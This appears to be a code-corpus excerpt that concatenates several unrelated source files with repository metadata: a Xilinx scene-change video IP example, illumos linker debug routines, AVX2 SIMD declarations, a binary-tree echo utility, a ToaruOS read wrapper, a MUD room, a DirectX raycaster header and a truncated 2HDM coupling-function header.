XilinxProcessorIPLib/drivers/v_scenechange/examples/src/xv_scenechange_stream_mode_ex.c
ghsecuritylab/embeddedsw
dab8779662c6b7517e9cd849e954255fbe4ca479
[ "BSD-3-Clause" ]
null
null
null
XilinxProcessorIPLib/drivers/v_scenechange/examples/src/xv_scenechange_stream_mode_ex.c
ghsecuritylab/embeddedsw
dab8779662c6b7517e9cd849e954255fbe4ca479
[ "BSD-3-Clause" ]
2
2020-03-06T23:32:36.000Z
2021-09-09T11:55:44.000Z
/****************************************************************************** * * Copyright (C) 2018 Xilinx, Inc. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * XILINX BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * * Except as contained in this notice, the name of the Xilinx shall not be used * in advertising or otherwise to promote the sale, use or other dealings in * this Software without prior written authorization from Xilinx. * ******************************************************************************/ /* * scd_stream_mode_ex.c: scenechange IP in stream mode test application. * * This application configures SceneChange IP to caluclate SAD values between * consecutive streams. The driver accepts the threshold values per stream and * calls the registered callback with SAD value and stream id. * * <pre> * MODIFICATION HISTORY: * * Ver Who Date Changes * ----- ---- -------- ------------------------------------------------------- * 1.00 pv 10/10/18 Initial Release * Added flushing feature support for the driver. * it supports only for memory based scenechange IP. * flush bit should be set and held (until reset) by * software to flush pending transactions.IP is expecting * a hard reset, when flushing is done.(There is a flush * status bit and is asserted when the flush is done). * <pre> */ #include "xparameters.h" #include <stdio.h> #include "platform.h" #include "xil_printf.h" #include "xscugic.h" #include "xil_io.h" #include "xil_cache.h" #include "sleep.h" #include "xvidc.h" #include "xv_scenechange.h" #include "xscugic.h" #include "xv_tpg.h" #include "xv_frmbufwr.h" #include "xv_frmbufwr_l2.h" /* Reset IPs in pipeline using IP_RESET_MASK*/ #define IP_RESET_MASK 0xF /************** User Configurable Data for testing*******************************/ /* user can configure till 8 streams, each bit is designated for one stream * in integer in IP register*/ #define SCD_STREAMS_ENABLE 1 /* Test formats for the TPG */ #define MAX_PATTERNS 8 /*Please refer framebuffer PG278 to get number of bytes per color and * color format representation. So, User can pass any format in * FB_COLOR_FORMAT, FB_CLRFMT_BYTES */ #define FB_COLOR_FORMAT 20 #define FB_CLRFMT_BYTES 3 /* User can pass any memory address */ u64 memaddr = 0x10000000; /* IP supports till 4320 as height*/ u32 scd_height = 720; /* IP supports till 8192 as width*/ u32 scd_width = 1280; u32 scd_stride = 1280; /* user can configure hist bits : 2, 4, 8, 16, 32 and 64. Typical value is 16*/ u32 scd_histbits = 16; /* Two color formats are supported by IP: XV_SCD_HAS_Y8, XV_SCD_HAS_Y10 */ u32 scd_clrfmt = XV_SCD_HAS_Y8; u32 scd_threshold = 1; /************************** Variable Definitions *****************************/ XV_tpg Tpg; XV_tpg_Config *Tpg_ConfigPtr; XTpg_PatternId Pattern; /**< Video pattern */ XV_FrmbufWr_l2 Frmbufwr; XV_frmbufwr_Config *FrmBufWr_ConfigPtr; XScuGic Intc; XV_scenechange ScdPtr; volatile u8 is_detected, sc_detected; /************************** Function Prototypes ******************************/ void SceneChangeDetectedCallback(void *CallbackRef); void XV_ConfigTpg(XV_tpg *InstancePtr); void ResetTpg(void); /************************** Function Definitions *****************************/ void ClearScreen(void) { xil_printf("%c\[2J", 27); xil_printf("%c\033[0;0H", 27); } static int SetupInterruptSystem(void) { int Status; XScuGic *IntcInstPtr = &Intc; XScuGic_Config *IntcCfgPtr; IntcCfgPtr = XScuGic_LookupConfig(XPAR_PSU_ACPU_GIC_DEVICE_ID); if (!IntcCfgPtr) { xil_printf("ERR:: Interrupt Controller not found"); return XST_DEVICE_NOT_FOUND; } Status = XScuGic_CfgInitialize(IntcInstPtr, IntcCfgPtr, IntcCfgPtr->CpuBaseAddress); if (Status != XST_SUCCESS) { xil_printf("Intc initialization failed!\r\n"); return XST_FAILURE; } Xil_ExceptionInit(); Xil_ExceptionRegisterHandler(XIL_EXCEPTION_ID_INT, (Xil_ExceptionHandler)XScuGic_InterruptHandler, (XScuGic *)IntcInstPtr); return XST_SUCCESS; } void SceneChangeDetectedCallback(void *CallbackRef) { xil_printf("IN CB: Layer:%d SAD:%X\r\n", ScdPtr.ScdDetLayerId, ScdPtr.ScdLayerDetSAD); is_detected = 1; } int XV_SceneChange_init(u16 DeviceId) { XV_scenechange_Config *ScdConfig; int Status; u32 streams = SCD_STREAMS_ENABLE - 1; ScdConfig = XV_scenechange_LookupConfig(DeviceId); if (ScdConfig == NULL) return XST_FAILURE; /* Initialize top level and all included sub-cores */ Status = XV_scenechange_Initialize(&ScdPtr, DeviceId); if (Status != XST_SUCCESS) return XST_FAILURE; if (ScdPtr.ScdConfig->MemoryBased == XV_SCD_MEMORY_MODE) { xil_printf("Application meant for stream mode\r\n"); return XST_FAILURE; } XV_scenechange_Layer_stream_enable(&ScdPtr, SCD_STREAMS_ENABLE); ScdPtr.LayerConfig[streams].Height = scd_height; ScdPtr.LayerConfig[streams].Width = scd_width; ScdPtr.LayerConfig[streams].Stride = scd_stride; ScdPtr.LayerConfig[streams].VFormat = scd_clrfmt; ScdPtr.LayerConfig[streams].SubSample = scd_histbits; ScdPtr.LayerConfig[streams].BufferAddr = memaddr; ScdPtr.LayerConfig[streams].Threshold = scd_threshold; Status = XV_scenechange_Layer_config(&ScdPtr, streams); if(Status == XST_FAILURE) { xil_printf("ERR:: Unable to configure SD Layer\r\n"); return XST_FAILURE; } XV_scenechange_SetCallback(&ScdPtr, SceneChangeDetectedCallback, (void *) &ScdPtr); Status |= XScuGic_Connect(&Intc, XPAR_FABRIC_V_SCENECHANGE_0_VEC_ID, (XInterruptHandler)XV_scenechange_InterruptHandler, (void *)&ScdPtr); if (Status == XST_SUCCESS) { XScuGic_Enable(&Intc, XPAR_FABRIC_V_SCENECHANGE_0_VEC_ID); } else { xil_printf("ERR:: Unable to register SD interrupt handler"); return XST_FAILURE; } XV_scenechange_InterruptGlobalEnable(&ScdPtr); XV_scenechange_EnableInterrupts(&ScdPtr); XV_scenechange_EnableAutoRestart(&ScdPtr); XV_scenechange_Start(&ScdPtr); return XST_SUCCESS; } void reset_pipe(void) { Xil_Out32(0xFF0A0018, 0xFFFF0000); Xil_Out32(0xFF0A02C4, 0xFFFFFFFF); Xil_Out32(0xFF0A02C8, 0xFFFFFFFF); Xil_Out32(0xFF0A004C, IP_RESET_MASK); Xil_Out32(0xFF0A004C, 0x00000000); Xil_Out32(0xFF0A004C, IP_RESET_MASK); xil_printf("Reset SCD - Done.\r\n"); } void XV_ConfigTpg(XV_tpg *InstancePtr) { XV_tpg *pTpg = InstancePtr; XV_tpg_DisableAutoRestart(pTpg); XV_tpg_Set_height(pTpg, scd_height); XV_tpg_Set_width(pTpg, scd_width); XV_tpg_Set_colorFormat(pTpg, XVIDC_CSF_YONLY); XV_tpg_Set_bckgndId(pTpg, Pattern); XV_tpg_Set_ovrlayId(pTpg, 0); XV_tpg_Set_enableInput(pTpg, 0); XV_tpg_Set_passthruStartX(pTpg, 0); XV_tpg_Set_passthruStartY(pTpg, 0); XV_tpg_Set_passthruEndX(pTpg, scd_width); XV_tpg_Set_passthruEndY(pTpg, scd_height); XV_tpg_EnableAutoRestart(pTpg); XV_tpg_Start(pTpg); } void FrameBuf_Config() { XV_frmbufwr_Set_HwReg_width(&Frmbufwr.FrmbufWr, scd_width); XV_frmbufwr_Set_HwReg_height(&Frmbufwr.FrmbufWr, scd_height); XV_frmbufwr_Set_HwReg_stride(&Frmbufwr.FrmbufWr, scd_width * FB_CLRFMT_BYTES); XV_frmbufwr_Set_HwReg_video_format(&Frmbufwr.FrmbufWr, FB_COLOR_FORMAT); XV_frmbufwr_Set_HwReg_frm_buffer_V(&Frmbufwr.FrmbufWr, memaddr); XV_frmbufwr_EnableAutoRestart(&Frmbufwr.FrmbufWr); XV_frmbufwr_Start(&Frmbufwr.FrmbufWr); } u32 scd_stream_mode_pipe_init(void) { u8 Status; /* Initialize TPG IP */ Tpg_ConfigPtr = XV_tpg_LookupConfig(XPAR_XV_TPG_0_DEVICE_ID); if (!Tpg_ConfigPtr) { Tpg.IsReady = 0; xil_printf("TPG - failed...\r\n"); return (XST_DEVICE_NOT_FOUND); } Status = XV_tpg_CfgInitialize(&Tpg, Tpg_ConfigPtr, Tpg_ConfigPtr->BaseAddress); if (Status != XST_SUCCESS) { xil_printf("ERR:: TPG Initialization failed %d\r\n", Status); return (XST_FAILURE); } /* Initialize FrameBufWr IP */ FrmBufWr_ConfigPtr = XV_frmbufwr_LookupConfig(XPAR_V_FRMBUF_WR_0_DEVICE_ID); if (!FrmBufWr_ConfigPtr) { xil_printf("FBWR - failed...\r\n"); return (XST_DEVICE_NOT_FOUND); } Status = XVFrmbufWr_Initialize(&Frmbufwr, XPAR_V_FRMBUF_WR_0_DEVICE_ID); if (Status != XST_SUCCESS) { xil_printf("ERR:: FrmBufWr Initialization failed %d\r\n", Status); return (XST_FAILURE); } Status |= XScuGic_Connect(&Intc, XPAR_FABRIC_V_FRMBUF_WR_0_VEC_ID, (XInterruptHandler)XVFrmbufWr_InterruptHandler, (void *)&Frmbufwr); if (Status == XST_SUCCESS) { XScuGic_Enable(&Intc, XPAR_FABRIC_V_FRMBUF_WR_0_VEC_ID); } else { xil_printf("ERR:: Unable to register SD interrupt handler"); return XST_FAILURE; } XV_frmbufwr_InterruptGlobalEnable(&Frmbufwr.FrmbufWr); XV_frmbufwr_InterruptEnable(&Frmbufwr.FrmbufWr, XVFRMBUFWR_IRQ_DONE_MASK); FrameBuf_Config(); return XST_SUCCESS; } int main() { u8 state; ClearScreen(); xil_printf("-----------------------------------------\r\n"); xil_printf("--- SceneChange IP Application --------\r\n"); xil_printf("--- (c) 2018 by Xilinx, Inc. ----\r\n"); xil_printf("----------------------------------------\r\n"); xil_printf(" Build %s - %s \r\n", __DATE__, __TIME__); xil_printf("-----------------------------------------\r\n"); Xil_DCacheDisable(); Xil_ExceptionDisable(); init_platform(); state = SetupInterruptSystem(); if (state != XST_SUCCESS) { xil_printf("SetupInterrupt() is Failed.\r\n"); return XST_FAILURE; } reset_pipe(); state = Pattern; state = scd_stream_mode_pipe_init(); if (state != XST_SUCCESS) { xil_printf("scd_ stream mode pipe Failed.\n"); return XST_FAILURE; } xil_printf("SceneChange initialization - Started\r\n"); state = XV_SceneChange_init(XPAR_XV_SCENECHANGE_0_DEVICE_ID); if (state != XST_SUCCESS) { xil_printf("SceneChange_init Failed.\n"); return XST_FAILURE; } Xil_ExceptionEnable(); state = XTPG_BKGND_H_RAMP; XV_ConfigTpg(&Tpg); do { if(is_detected) { is_detected = 0; sc_detected++; } if(++state >= MAX_PATTERNS) { if(sc_detected) goto SCD_DONE; else goto SCD_FAILED; } Pattern = state; XV_tpg_Set_bckgndId(&Tpg, Pattern); sleep(1); } while(1); SCD_DONE: XV_scenechange_Stop(&ScdPtr); reset_pipe(); XV_scenechange_WaitForIdle(&ScdPtr); xil_printf("SceneChange test : PASSED\r\n"); return XST_SUCCESS; SCD_FAILED: XV_scenechange_Stop(&ScdPtr); reset_pipe(); XV_scenechange_WaitForIdle(&ScdPtr); xil_printf("SceneChange test : FAILURE\r\n"); return XST_FAILURE; }
29.695538
82
0.71248
2fd99624aed308dcc97978519be525a181e09dd9
3,826
c
C
usr/src/cmd/sgs/liblddbg/common/move.c
AsahiOS/gate
283d47da4e17a5871d9d575e7ffb81e8f6c52e51
[ "MIT" ]
null
null
null
usr/src/cmd/sgs/liblddbg/common/move.c
AsahiOS/gate
283d47da4e17a5871d9d575e7ffb81e8f6c52e51
[ "MIT" ]
null
null
null
usr/src/cmd/sgs/liblddbg/common/move.c
AsahiOS/gate
283d47da4e17a5871d9d575e7ffb81e8f6c52e51
[ "MIT" ]
1
2020-12-30T00:04:16.000Z
2020-12-30T00:04:16.000Z
/* * CDDL HEADER START * * The contents of this file are subject to the terms of the * Common Development and Distribution License (the "License"). * You may not use this file except in compliance with the License. * * You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE * or http://www.opensolaris.org/os/licensing. * See the License for the specific language governing permissions * and limitations under the License. * * When distributing Covered Code, include this CDDL HEADER in each * file and include the License file at usr/src/OPENSOLARIS.LICENSE. * If applicable, add the following below this CDDL HEADER, with the * fields enclosed by brackets "[]" replaced with your own identifying * information: Portions Copyright [yyyy] [name of copyright owner] * * CDDL HEADER END */ /* * Copyright 2009 Sun Microsystems, Inc. All rights reserved. * Use is subject to license terms. */ #include "msg.h" #include "_debug.h" #include "libld.h" void Dbg_move_data(Rt_map *lmp) { Lm_list *lml = LIST(lmp); if (DBG_NOTCLASS(DBG_C_MOVE)) return; dbg_print(lml, MSG_INTL(MSG_MOVE_FILE), NAME(lmp)); dbg_print(lml, MSG_INTL(MSG_MOVE_TITLE2)); } void Dbg_move_adjexpandreloc(Lm_list *lml, Xword offset, const char *name) { if (DBG_NOTCLASS(DBG_C_MOVE | DBG_C_RELOC)) return; if (DBG_NOTDETAIL()) return; dbg_print(lml, MSG_INTL(MSG_MOVE_ADJEXPAND), Dbg_demangle_name(name), EC_XWORD(offset)); } void Dbg_move_adjmovereloc(Lm_list *lml, Xword offset1, Xword offset2, const char *name) { if (DBG_NOTCLASS(DBG_C_MOVE | DBG_C_RELOC)) return; if (DBG_NOTDETAIL()) return; dbg_print(lml, MSG_INTL(MSG_MOVE_ADJMOVE), Dbg_demangle_name(name), EC_XWORD(offset1), EC_XWORD(offset2)); } void Dbg_move_outsctadj(Lm_list *lml, Sym_desc *sdp) { if (DBG_NOTCLASS(DBG_C_MOVE | DBG_C_RELOC)) return; if (DBG_NOTDETAIL()) return; dbg_print(lml, MSG_INTL(MSG_MOVE_OUTSCTADJ), Dbg_demangle_name(sdp->sd_name)); } void Dbg_move_parexpn(Lm_list *lml, const char *name, const char *reason) { if (DBG_NOTCLASS(DBG_C_MOVE)) return; Dbg_util_nl(lml, DBG_NL_STD); dbg_print(lml, MSG_INTL(MSG_MOVE_PAREXPN), name, reason); dbg_print(lml, MSG_INTL(MSG_MOVE_TITLE1)); } void Dbg_move_outmove(Lm_list *lml, const char *name) { if (DBG_NOTCLASS(DBG_C_MOVE)) return; Dbg_util_nl(lml, DBG_NL_STD); dbg_print(lml, MSG_INTL(MSG_MOVE_OUTMOVE), name); dbg_print(lml, MSG_INTL(MSG_MOVE_TITLE1)); } void Dbg_move_expand(Lm_list *lml, Move *mv, Addr addr) { if (DBG_NOTCLASS(DBG_C_MOVE)) return; dbg_print(lml, MSG_INTL(MSG_MOVE_EXPAND), EC_ADDR(addr), EC_LWORD(mv->m_value)); } void Dbg_move_input(Lm_list *lml, const char *name) { if (DBG_NOTCLASS(DBG_C_MOVE)) return; Dbg_util_nl(lml, DBG_NL_STD); dbg_print(lml, MSG_INTL(MSG_MOVE_INPUT), name); dbg_print(lml, MSG_INTL(MSG_MOVE_TITLE1)); } void Dbg_move_entry1(Lm_list *lml, int which, Move *mv, Sym_desc *s) { const char *str; if (DBG_NOTCLASS(DBG_C_MOVE)) return; if (which) str = MSG_INTL(MSG_MOVE_ENTRYIN); else str = MSG_INTL(MSG_MOVE_ENTRYOUT); dbg_print(lml, str, EC_XWORD(mv->m_poffset), ELF_M_SIZE(mv->m_info), mv->m_repeat, mv->m_stride, EC_LWORD(mv->m_value), s->sd_name); } void Dbg_move_entry2(Lm_list *lml, Move *mv, Word st_name, const char *name) { const char *sname; if (DBG_NOTCLASS(DBG_C_MOVE)) return; if (st_name) sname = name; else sname = MSG_INTL(MSG_STR_UNKNOWN); dbg_print(lml, MSG_INTL(MSG_MOVE_ENTRYIN), EC_XWORD(mv->m_poffset), ELF_M_SIZE(mv->m_info), mv->m_repeat, mv->m_stride, EC_LWORD(mv->m_value), sname); } void Dbg_move_bad(Lm_list *lml, ulong_t num, const char *name, Addr addr) { if (DBG_NOTCLASS(DBG_C_MOVE)) return; dbg_print(lml, MSG_INTL(MSG_MOVE_BAD), EC_XWORD(num), name, EC_ADDR(addr)); }
22.91018
71
0.732096
2fd9aff1f727ce4c8a6c00d98c1f7f32a5e45379
1,035
h
C
cbits/simd.h
haskell-works/hw-simd
1d9c9d73e81088fcf0b697337280dc9c8e638e29
[ "BSD-3-Clause" ]
12
2018-07-15T13:34:01.000Z
2021-12-02T20:23:28.000Z
cbits/simd.h
haskell-works/hw-simd
1d9c9d73e81088fcf0b697337280dc9c8e638e29
[ "BSD-3-Clause" ]
6
2018-08-29T07:49:20.000Z
2019-06-17T14:13:54.000Z
cbits/simd.h
haskell-works/hw-simd
1d9c9d73e81088fcf0b697337280dc9c8e638e29
[ "BSD-3-Clause" ]
1
2019-06-03T05:06:59.000Z
2019-06-03T05:06:59.000Z
#include <unistd.h> #include <stdint.h> typedef uint8_t v32si __attribute__ ((vector_size (32))); typedef uint8_t v16si __attribute__ ((vector_size (16))); void avx2_memcpy( uint8_t *target, uint8_t *source, size_t len); void avx2_cmpeq8( uint8_t byte, uint8_t *target, size_t target_length, uint8_t *source); void avx2_cmpeq8_para( uint8_t *bytes, size_t bytes_length, uint8_t **targets, size_t targets_length, uint8_t *source); void avx2_and_bits( uint8_t *target, size_t target_length, uint8_t *source_a, uint8_t *source_b); void avx2_and_not_bits( uint8_t *target, size_t target_length, uint8_t *source_a, uint8_t *source_b); void avx2_not_bits( uint8_t *target, size_t target_length, uint8_t *source); void avx2_or_bits( uint8_t *target, size_t target_length, uint8_t *source_a, uint8_t *source_b); void avx2_xor_bits( uint8_t *target, size_t target_length, uint8_t *source_a, uint8_t *source_b);
19.528302
57
0.692754
2fd9b7a508461e815365f9d48a469af48b8ccbe3
1,946
c
C
btecho.c
rhardih/btecho
791d85af8b2fc24489dd7330513ac0bc19bea2fc
[ "MIT" ]
null
null
null
btecho.c
rhardih/btecho
791d85af8b2fc24489dd7330513ac0bc19bea2fc
[ "MIT" ]
null
null
null
btecho.c
rhardih/btecho
791d85af8b2fc24489dd7330513ac0bc19bea2fc
[ "MIT" ]
null
null
null
/** * btecho 1.0 * * Write integer arguments as a binary tree to the standard output. * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include "bt.h" #define INDWIDTH 3 #define MAXNLEN 21 int icompare(const void *a, const void *b) { long n = *(long *)a; long m = *(long *)b; return n < m; } int only_child(bst_node_t *x) { if (x->parent == NULL) return 1; return (x->parent->left == x && x->parent->right == NULL) || (x->parent->right == x && x->parent->left == NULL); } int (left_child(bst_node_t *x)) { if (x->parent == NULL) return 1; return x->parent->left == x; } char *sideways(bst_node_t *x) { // send zero byte back up to free if (x == NULL) return calloc(1, sizeof(char)); char *tree, *lead; char *rtree = sideways(x->right); char *ltree = sideways(x->left); char *tok, *sep = "\n", *line; int rtl = strlen(rtree); int ltl = strlen(ltree); int lines = 0, offset = 0, i; for (i = 0; i < rtl; ++i) if (rtree[i] == '\n') lines++; for (i = 0; i < ltl; ++i) if (ltree[i] == '\n') lines++; lines += INDWIDTH * lines + MAXNLEN; // enough for lead and max long 2^64 + \0 tree = malloc(rtl + ltl + lines); lead = only_child(x) || left_child(x) ? " " : "| "; offset = sprintf(tree, "|- %lu\n", *(long *)x->key); for (line = strtok(rtree, sep); line != NULL; line = strtok(NULL, sep)) offset += sprintf(tree + offset, "%s%s\n", lead, line); for (line = strtok(ltree, sep); line != NULL; line = strtok(NULL, sep)) offset += sprintf(tree + offset, "%s%s\n", lead, line); free(rtree); free(ltree); return tree; } int main(int argc, char const *argv[]) { long l, *lp; bst_tree_t *tree = bst_tree_new(NULL); bst_node_t *n; while (scanf("%lu\n", &l) != EOF) { lp = malloc(sizeof(long)); *lp = l; n = bst_node_new(lp); bst_insert(tree, n, icompare); } printf("%s", sideways(tree->root)); return 0; }
20.061856
80
0.571942
2fda4c760f5233fb18ee31da62830b53ea7adfbc
227
c
C
libc/unistd/read.c
Dennisbonke/toaruos
487293913d47347cf8f2021b36a226e674d7faa7
[ "NCSA" ]
429
2015-01-25T14:05:44.000Z
2022-03-31T21:54:21.000Z
libc/unistd/read.c
Dennisbonke/toaruos
487293913d47347cf8f2021b36a226e674d7faa7
[ "NCSA" ]
15
2015-03-23T09:58:56.000Z
2020-09-02T02:29:59.000Z
libc/unistd/read.c
Dennisbonke/toaruos
487293913d47347cf8f2021b36a226e674d7faa7
[ "NCSA" ]
68
2015-02-09T10:01:26.000Z
2022-03-12T03:31:44.000Z
#include <unistd.h> #include <errno.h> #include <syscall.h> #include <syscall_nums.h> DEFN_SYSCALL3(read, SYS_READ, int, char *, int); int read(int file, void *ptr, size_t len) { __sets_errno(syscall_read(file,ptr,len)); }
20.636364
49
0.709251
2fda6fd578ac034947cbfa9ac9ce54690e083201
1,144
c
C
d/atoyatl/tecqumin/rooms/zighigh103.c
Dbevan/SunderingShadows
6c15ec56cef43c36361899bae6dc08d0ee907304
[ "MIT" ]
13
2019-07-19T05:24:44.000Z
2021-11-18T04:08:19.000Z
d/atoyatl/tecqumin/rooms/zighigh103.c
Dbevan/SunderingShadows
6c15ec56cef43c36361899bae6dc08d0ee907304
[ "MIT" ]
4
2021-03-15T18:56:39.000Z
2021-08-17T17:08:22.000Z
d/atoyatl/tecqumin/rooms/zighigh103.c
Dbevan/SunderingShadows
6c15ec56cef43c36361899bae6dc08d0ee907304
[ "MIT" ]
13
2019-09-12T06:22:38.000Z
2022-01-31T01:15:12.000Z
#include <std.h> #include <terrain.h> #include "../tecqumin.h" inherit ZIG_HIGH; void create() { object waystation; ::create(); waystation = new (OBJ+"waystation1"); waystation->set_short("A feathered serpent carved in stone"); waystation->set_long("A feathered serpent is carved into the side of" +" the ziggurat here. Its body is coiled, with the" +" head and the end of the tail protruding from the" +" coils. The plumes sprout from just behind the" +" serpent's head and further along its undulating" +" back."); waystation->set_weight(2000); waystation->set_value(20000); waystation->move(TO); waystation->set_id(({"serpent", "feathered serpent","carved serpent", "stone serpent","stone feathered serpent", "waystation", "waystation1"})); set_exits( ([ "south" : ROOMS + "zighigh102" , "north" : ROOMS + "zighigh104"]) ); set_climb_exits(([ "climb":({ROOMS + "zighigh202",5,6,20}), "descend":({ROOMS + "zigmid205",5,6,20}), ])); }
34.666667
74
0.577797
2fdbc45a34aa49101c23c6c06af0a44ddc4ee023
2,613
h
C
Tuvok/Renderer/DX/DXRaycaster.h
JensDerKrueger/ImageVis3D
699ab32132c899b7ea227bc87a9de80768ab879f
[ "MIT" ]
null
null
null
Tuvok/Renderer/DX/DXRaycaster.h
JensDerKrueger/ImageVis3D
699ab32132c899b7ea227bc87a9de80768ab879f
[ "MIT" ]
null
null
null
Tuvok/Renderer/DX/DXRaycaster.h
JensDerKrueger/ImageVis3D
699ab32132c899b7ea227bc87a9de80768ab879f
[ "MIT" ]
null
null
null
/* For more information, please see: http://software.sci.utah.edu The MIT License Copyright (c) 2008 Scientific Computing and Imaging Institute, University of Utah. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** \file DXRaycaster.h \author Jens Krueger SCI Institute University of Utah \version 1.0 \date November 2008 */ #pragma once #if defined(_WIN32) && defined(USE_DIRECTX) #ifndef DXRAYCASTER_H #define DXRAYCASTER_H #include "../../StdTuvokDefines.h" #include "DXRenderer.h" namespace tuvok { /** \class DXRaycaster * GPU Rayster. * * DXRaycaster is a GPU based raycaster for volumetric scalar data which uses HLSL. */ class DXRaycaster : public DXRenderer { public: /** Constructs a VRer with immediate redraw, and * wireframe mode off. * \param pMasterController message routing object * \param bUseOnlyPowerOfTwo force power of two textures (compatibility) * \param bDownSampleTo8Bits force 8bit textures (compatibility) */ DXRaycaster(MasterController* pMasterController, bool bUseOnlyPowerOfTwo, bool bDownSampleTo8Bits, bool bDisableBorder); virtual ~DXRaycaster(); virtual ERendererType GetRendererType() {return RT_RC;} protected: virtual void Render3DInLoop(size_t iCurrentBrick, EStereoID eStereoID); virtual void RenderHQMIPInLoop(const Brick& b); virtual void UpdateLightParamsInShaders(); }; }; //namespace tuvok #endif // DXRAYCASTER_H #endif // _WIN32 && USE_DIRECTX
33.935065
125
0.722158
2fdbe57272c86cab71c21a5b9e7a196ce3febc48
10,602
h
C
src/CouplingFunctionTypeFL.h
shiggs90/2HDMC-NLO-master-wei
76de26638d30e2840bbb6c680e4108b81a2a8feb
[ "MIT" ]
null
null
null
src/CouplingFunctionTypeFL.h
shiggs90/2HDMC-NLO-master-wei
76de26638d30e2840bbb6c680e4108b81a2a8feb
[ "MIT" ]
null
null
null
src/CouplingFunctionTypeFL.h
shiggs90/2HDMC-NLO-master-wei
76de26638d30e2840bbb6c680e4108b81a2a8feb
[ "MIT" ]
1
2019-11-27T14:59:29.000Z
2019-11-27T14:59:29.000Z
#ifndef CouplingFunctionTypeFL #define CouplingFunctionTypeFL #include "ModelParameters.h" #include "SM.h" #include "clooptools.h" namespace TypeFL{ ComplexType CHAHHGA(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAHHZ(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAHLGA(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAHLZ(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAHmWp(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAHpWm(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAbb(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAcc(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAdd(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAee(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAmm(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAss(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAtata(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAtt(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHAuu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHHAGA(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHHAHA(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHHAZ(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHHLHL(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHHmWp(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHHpHm(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHHpWm(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHWW_gmunu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHWW_kmuqnu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHZZ_gmunu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHZZ_kmuqnu(double MHL2, double MHH2, double MHA2, double MHp2, 